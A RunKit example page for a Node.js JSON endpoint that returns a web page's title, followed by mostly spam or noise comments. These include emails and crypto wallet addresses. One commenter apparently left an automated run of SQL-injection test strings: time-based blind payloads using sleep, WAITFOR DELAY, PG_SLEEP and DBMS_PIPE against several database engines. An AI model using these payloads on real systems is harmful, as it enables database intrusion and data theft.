JSON Endpoint Example 2

node v4.9.1
version: 1.0.0
endpointsharetweet
Send a request like ?url=http://google.com, get back the title of the page.
var endpoint = require("@runkit/runkit/json-endpoint/1.0.0") var request = require("request") var cheerio = require("cheerio") endpoint(module.exports, function(req, done) { request(req.query.url, function(error, response, body) { if (error) return done({error: "could not retrieve page"}) var page = cheerio.load(body) done({ title: page("title").text() || "no title" }) }) })
Instead of promises, we're using callbacks, and explicitly calling "done" with whatever value we want to return to the caller.
Loading…

58 comments

  • posted 7 years ago by gentlejack
    In God I trust.
  • posted 6 years ago by dulgoffar87
    Saya ingin yang yang normal dan tidak ada unsur kesalan
  • posted 6 years ago by dannygriffin000
    https://npm.runkit.com/grunt-cli
  • posted 4 years ago by 5ef7a92aae52aa001939b3ac
    GGzGGaGaGazGazhGazh3Gazh3hGazh3hbGazh3hbnGazh3hbnxGazh3hbnxfGazh3hbnxfaGazh3hbnxfajGazh3hbnxfajlGazh3hbnxfajllGazh3hbnxfajllcGazh3hbnxfajllcnGazh3hbnxfajllcna
  • posted 4 years ago by 5ef7a92aae52aa001939b3ac
    UUzUzaUzabUzablUzablyUzably4Uzably4kUzably4klUzably4klgUzably4klglUzably4klglfUzably4klgl
  • posted 4 years ago by 0565447774f
    sos3421@hotmail.com
  • posted 3 years ago by 60cc2c0b20365b001a0208f7
    http://google.com
  • posted 3 years ago by 6102df96c04d9a001b8b9359
    DONE
  • posted 3 years ago by mrrhak
    mrrhab304@gmail.com
  • posted 3 years ago by ggoldselleruk
    Gdzie gold
  • posted 3 years ago by quenly
    Junaini
  • posted 3 years ago by quenly
    Erliyanti
  • posted 3 years ago by quenly
    Ktp
  • posted 3 years ago by matt-destroyer
    Doesn't seem to work for any available version of NodeJS above v6.17.1 ...
  • posted 2 years ago by 6305ee038cfb3300094b2292
    322338
  • posted 2 years ago by seinwinandroid
    322338
  • posted 2 years ago by singhsimonsanjay
    My Public Address to Receive ETH 0x2170Ed0880ac9A755fd29B2688956BD959F933F8 Pay me via Trust Wallet: https://link.trustwallet.com/send?coin=60&address=0x2170Ed0880ac9A755fd29B2688956BD959F933F8
  • posted a year ago by 64fbae0f31582e0008e71aa1
    [require("@runkit/runkit/json-endpoint/1.0.0")]
  • posted a year ago by 64fbae0f31582e0008e71aa1
    "done"
  • posted a year ago by 64fbae0f31582e0008e71aa1
    done
  • posted a year ago by azitote
    done
  • posted a year ago by azitote
    Done
  • posted a year ago by jircs1
    Done
  • posted 9 months ago by doni108108108
    Done
  • posted 8 months ago by jircs
    When will this take affect?
  • posted 7 months ago by 6639537e5c229c0008ce92c0
    nN
  • posted 5 months ago by meisamrzp
    Thanks for all
  • posted 5 months ago by meisamrzp
    این هم اولین پرداخت برای ما
  • posted 5 months ago by legend45lx
    *
  • posted 3 months ago by okeamah
    ETH : 0x97293CeAB815896883e8200AEf5a4581a70504b2
  • posted 2 months ago by dollarcruz10
    How does this works
  • posted a month ago by 671b4ae335f9e10008495181
    package.json
  • posted a month ago by riokecik
    Done
  • posted 18 days ago by xsjybldb
    1
  • posted 18 days ago by xsjybldb
    1
  • posted 18 days ago by xsjybldb
    -1 OR 2+720-720-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    -1 OR 2+426-426-1=0+0+0+1
  • posted 18 days ago by xsjybldb
    -1' OR 2+490-490-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    -1' OR 2+883-883-1=0+0+0+1 or 'hx4POOUW'='
  • posted 18 days ago by xsjybldb
    -1" OR 2+150-150-1=0+0+0+1 --
  • posted 18 days ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 18 days ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 18 days ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 18 days ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 18 days ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    JcKdJsWt'; waitfor delay '0:0:15' --
  • posted 18 days ago by xsjybldb
    -5 OR 300=(SELECT 300 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    -5) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    -1)) OR 115=(SELECT 115 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    w5Ofo7Ob' OR 752=(SELECT 752 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    QLC3C94Q') OR 357=(SELECT 357 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    lAfP3Lo5')) OR 174=(SELECT 174 FROM PG_SLEEP(15))--
  • posted 18 days ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 18 days ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 18 days ago by xsjybldb
    1'"
  • posted 18 days ago by xsjybldb
    @@wlNOt

sign in to comment